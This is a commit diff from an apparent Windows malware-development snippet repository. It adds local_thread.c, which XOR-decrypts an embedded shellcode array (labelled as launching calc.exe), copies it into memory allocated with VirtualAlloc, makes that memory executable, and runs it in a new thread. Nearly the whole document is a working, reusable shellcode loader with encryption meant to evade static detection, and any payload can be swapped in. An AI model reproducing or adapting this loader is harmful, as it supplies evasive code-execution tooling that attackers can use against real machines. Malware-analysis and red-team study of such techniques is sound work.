local_thread

README.md

@@ -5,3 +5,4 @@
 This repository contains C/C++ snippets of code useful during Windows malware development.
 
 A lot of techniques presented here and much more are described in [my malware-dev notes](https://print3m.github.io/notes) (`/windows/malware-dev`).
+

local_thread.c

@@ -0,0 +1,94 @@
+#include <Windows.h>
+#include <stdio.h>
+
+/*
+	Simple local thread shellcode execution.
+	A shellcode XOR encryption is implemented as well.
+*/
+
+// Xored shellcode with calc.exe
+UINT8 CalcShellcodeXored[] = {
+	0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B,
+	0x27, 0x33, 0x3A, 0x48, 0x8D, 0x16, 0x3C, 0xF9, 0x3D, 0x0E, 0x2F, 0xD4, 0x39, 0x7D, 0x31,
+	0xFD, 0x37, 0x52, 0x31, 0xD4, 0x01, 0x24, 0x3A, 0x60, 0xD9, 0x2D, 0x15, 0x26, 0x54, 0xB0,
+	0x3E, 0x54, 0xB2, 0xD5, 0x63, 0x12, 0x08, 0x70, 0x43, 0x4E, 0x26, 0x9E, 0xA2, 0x68, 0x38,
+	0x77, 0xA4, 0x90, 0x94, 0x0D, 0x32, 0x25, 0x3A, 0xE4, 0x3C, 0x47, 0xD4, 0x29, 0x59, 0x31,
+	0x77, 0xB5, 0xF9, 0xF9, 0xD7, 0x73, 0x74, 0x72, 0x27, 0xEB, 0xA7, 0x2B, 0x0C, 0x2D, 0x78,
+	0xA6, 0x35, 0xF9, 0x31, 0x47, 0x37, 0xFF, 0x32, 0x4F, 0x27, 0x66, 0x8F, 0x88, 0x33, 0x31,
+	0x89, 0xAC, 0x33, 0xF2, 0x6B, 0xFB, 0x3C, 0x73, 0xB9, 0x23, 0x56, 0x96, 0x23, 0x54, 0xB9,
+	0xDA, 0x24, 0xB3, 0xB0, 0x52, 0x32, 0x75, 0xB3, 0x57, 0x8E, 0x12, 0xAE, 0x27, 0x66, 0x35,
+	0x52, 0x6D, 0x37, 0x40, 0x8E, 0x06, 0xAC, 0x2A, 0x2B, 0xE5, 0x27, 0x7B, 0x22, 0x64, 0xA9,
+	0x10, 0x24, 0xF9, 0x75, 0x17, 0x37, 0xFF, 0x32, 0x73, 0x27, 0x66, 0x8F, 0x2A, 0xEE, 0x7D,
+	0xFE, 0x2D, 0x73, 0xA9, 0x1E, 0x2B, 0x35, 0x2A, 0x31, 0x37, 0x3D, 0x1E, 0x33, 0x24, 0x20,
+	0x37, 0x3F, 0x3A, 0xFA, 0xB3, 0x53, 0x35, 0x20, 0x90, 0x8E, 0x3F, 0x1E, 0x32, 0x3F, 0x31,
+	0xFD, 0x77, 0x9B, 0x2E, 0xA0, 0x8C, 0x8B, 0x2F, 0x27, 0xD4, 0x66, 0x5F, 0x6B, 0x65, 0x79,
+	0x76, 0x65, 0x72, 0x31, 0xD2, 0xFE, 0x75, 0x73, 0x6F, 0x6E, 0x26, 0xE5, 0x5A, 0xEE, 0x16,
+	0xF1, 0x9A, 0xA7, 0xC2, 0xBF, 0x6E, 0x5E, 0x78, 0x2E, 0xD4, 0xC1, 0xCA, 0xD6, 0xF8, 0x86,
+	0xA3, 0x2D, 0xF1, 0xBD, 0x77, 0x4F, 0x72, 0x0E, 0x65, 0xEE, 0x9C, 0xBF, 0x1E, 0x60, 0xC2,
+	0x31, 0x76, 0x00, 0x16, 0x35, 0x73, 0x2D, 0x33, 0xE6, 0xB4, 0x98, 0x8A, 0x08, 0x04, 0x15,
+	0x15, 0x65,
+};
+
+UINT8 XorKey[] = {
+	'v', 'e', 'r', 'y', '_', 's', 't', 'r', 'o', 'n', 'g', '_', 'k', 'e', 'y'
+};
+
+
+VOID XorByKey(IN OUT PBYTE pShellcode, IN CONST SIZE_T szShellcode, IN CONST PBYTE pKey, IN CONST SIZE_T szKey) {
+	for (SIZE_T i = 0; i < szShellcode; i++) {
+		// Get byte of key
+		UINT8 bKey = pKey[i % szKey];
+
+		// Calculate value
+		pShellcode[i] = pShellcode[i] ^ bKey;
+	}
+}
+
+VOID PrintBytes(IN CONST PBYTE bytes, IN CONST SIZE_T szBytes) {
+	for (SIZE_T i = 0; i < szBytes; i++) {
+		if (i > 0 && i % 15 == 0) {
+			printf("\n");
+		}
+
+		printf("0x%02X, ", CalcShellcodeXored[i]);
+	}
+}
+
+INT main() {
+	// Allocate memory
+	LPVOID pMem = VirtualAlloc(NULL, sizeof(CalcShellcodeXored), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
+	if (pMem == NULL) {
+		printf("[!] VirtualAlloc error: %d \n", GetLastError());
+		return -1;
+	}
+
+	// Decrypt the shellcode
+	XorByKey(CalcShellcodeXored, sizeof(CalcShellcodeXored), XorKey, sizeof(XorKey));
+
+	// Copy the shellcode to the allocated memory
+	memcpy(pMem, CalcShellcodeXored, sizeof(CalcShellcodeXored));
+
+	// Set original shellcode to 0
+	memset(CalcShellcodeXored, 0x00, sizeof(CalcShellcodeXored));
+
+	// Change allocated memory permissions
+	PDWORD dwOdlProtect = NULL;
+	if (!VirtualProtect(pMem, sizeof(CalcShellcodeXored), PAGE_EXECUTE, &dwOdlProtect)) {
+		printf("[!] VirtualProtect error: %d \n", GetLastError());
+		return -1;
+	}
+
+	// Create a thread
+	HANDLE hThread = CreateThread(NULL, NULL, pMem, NULL, NULL, NULL);
+	if (hThread == NULL) {
+		printf("[!] CreateThread error: %d \n", GetLastError());
+		return -1;
+	}
+
+	WaitForSingleObject(hThread, INFINITE);
+
+	// Exit
+	printf("\n\nPress <Enter> To Quit ...");
+	getchar();
+	return 0;
+}